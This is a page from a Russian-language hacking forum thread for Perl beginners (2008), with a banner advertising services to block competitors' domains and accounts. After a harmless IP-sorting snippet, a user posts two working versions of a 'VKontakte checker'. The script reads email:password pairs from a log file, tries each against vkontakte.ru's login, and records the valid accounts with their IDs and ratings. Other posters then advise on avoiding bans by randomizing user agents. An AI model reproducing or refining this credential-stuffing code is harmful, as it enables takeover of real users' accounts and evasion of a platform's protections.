УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
[Perl] Новичкам: задаем вопросы

Страница 54 из 156

Опции темы

Поиск в этой теме

Опции просмотра

#531

18.06.2008, 13:02

krypt3r

Познавший АНТИЧАТ

Регистрация: 27.04.2007

Сообщений: 1,044

Провел на форуме:
3660186

Репутация: 905

sedoy_xxx, попробуй так

Код:

#!/usr/bin/perl

@ips = ('10.1.1.11', '10.1.1.12', '10.1.1.120', '10.1.1.121', '10.1.1.13');
@new = sort {
  ($a =~ /10\.1\.1\.(\d+)/)[0] <=> ($b =~ /10\.1\.1\.(\d+)/)[0]
} @ips;
print "@new\n";
exit 0;

Это для последнего октета. Для 3 и 4 попробуй заменить на

Код:

@new = sort {
  ($a =~ /10\.1\.(\d+)\.(\d+)/)[0] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[0]
  ||
  ($a =~ /10\.1\.(\d+)\.(\d+)/)[1] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[1]
} @ips;

Последний раз редактировалось krypt3r; 18.06.2008 в 13:12..

#532

18.06.2008, 15:51

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

все спасибо разобрался, вот рабочий вариант

PHP код:


		
			
#!/usr/bin/perl

# VKONTAKTE    cheker

# Original author Xszz.AoH

# Modified by svesve

# tnx to a4at members who help me with perl ;-)

use strict;

use LWP::UserAgent;



use HTTP::Cookies;



open (FILE , '<logs.txt');

my @f = <FILE>;

chomp @f;

my $ua = LWP::UserAgent->new;

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

$ua->cookie_jar($cookies);

open (OUT , '>>IDS_rate.txt');

while (@f)

{

my ($mail, $pass) = split(/:/, shift(@f));



my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;

my $suc = $req =~ /302 Found/;

if ($suc )

{

$req = $ua->get('http://vkontakte.ru/index.php')->as_string;

my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;

my $idd=$2;

if (!$2)

{

print "Account deleted";

}

$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;

my $res = $1 if $req=~m/width:100px">(.{1,4})</;

print "[rate=$res]:[id=$idd]:$mail:$pass\n";

print OUT $res.":".$idd.":".$mail.":".$pass."\n";

}

else{print"[-]bad login or password \n";}

}

close OUT;

close FILE;

Последний раз редактировалось svesve; 18.06.2008 в 16:24..

#533

18.06.2008, 17:04

biophreak

Постоянный

Регистрация: 03.08.2007

Сообщений: 367

Провел на форуме:
876216

Репутация: 209

Хм...логику подкрути еще, ибо на удаленных аках лишь матюкнется на экран и продолжит ломицца на rate.php...

#534

18.06.2008, 22:04

login999

Постоянный

Регистрация: 12.06.2008

Сообщений: 654

Провел на форуме:
4512757

Репутация: 973

del

#535

18.06.2008, 23:49

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

PHP код:


		
			
#!/usr/bin/perl

# VKONTAKTE    cheker

# Original author Xszz.AoH

# Modified by svesve

# tnx to a4at members who help me with perl ;-)

use strict;

use LWP::UserAgent;



use HTTP::Cookies;



open (FILE , '<logs.txt');

my @f = <FILE>;

chomp @f;

my $ua = LWP::UserAgent->new;

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

$ua->cookie_jar($cookies);

open (OUT , '>>IDS_rate.txt');

while (@f)

{

my ($mail, $pass) = split(/:/, shift(@f));



my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;

my $suc = $req =~ /302 Found/;

if ($suc )

{

$req = $ua->get('http://vkontakte.ru/index.php')->as_string;

my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;

my $idd=$2;

$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;

my $res = $1 if $req=~m/width:100px">(.{1,4})</;

print "[rate=$res]:[id=$idd]:$mail:$pass\n";

if (!$idd)

{

print "Account deleted \n";

}

print OUT $res.":".$idd.":".$mail.":".$pass."\n";

}

else{print"[-]bad login or password \n";}

}

close OUT;

close FILE;

подправил все должно быть ок!

#536

19.06.2008, 11:15

~~Piflit~~

Banned

Регистрация: 11.08.2006

Сообщений: 1,522

Провел на форуме:
5128756

Репутация: 2032

Отправить сообщение для Piflit с помощью ICQ

при таком чеке обычно все акки уходят в баню, так что осторожнее ))

#537

19.06.2008, 11:54

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

почему?

#538

19.06.2008, 13:41

biophreak

Постоянный

Регистрация: 03.08.2007

Сообщений: 367

Провел на форуме:
876216

Репутация: 209

1 Ip, 1 юзерагент, да, и если банально прослеживается путь "юзера" по сайту, то за кучу однообразных запросов забанить могут )))

#539

19.06.2008, 14:17

svesve

Постоянный

Регистрация: 15.06.2007

Сообщений: 527

Провел на форуме:
1734541

Репутация: 214

хы а если рандомайз на юзер агент воткнуть )
а то что один айпи это еще не причина бана мб мы из одной сети сидим через шлюз ) все 20 000 человек ))))) и у всех у нас опера или лиса )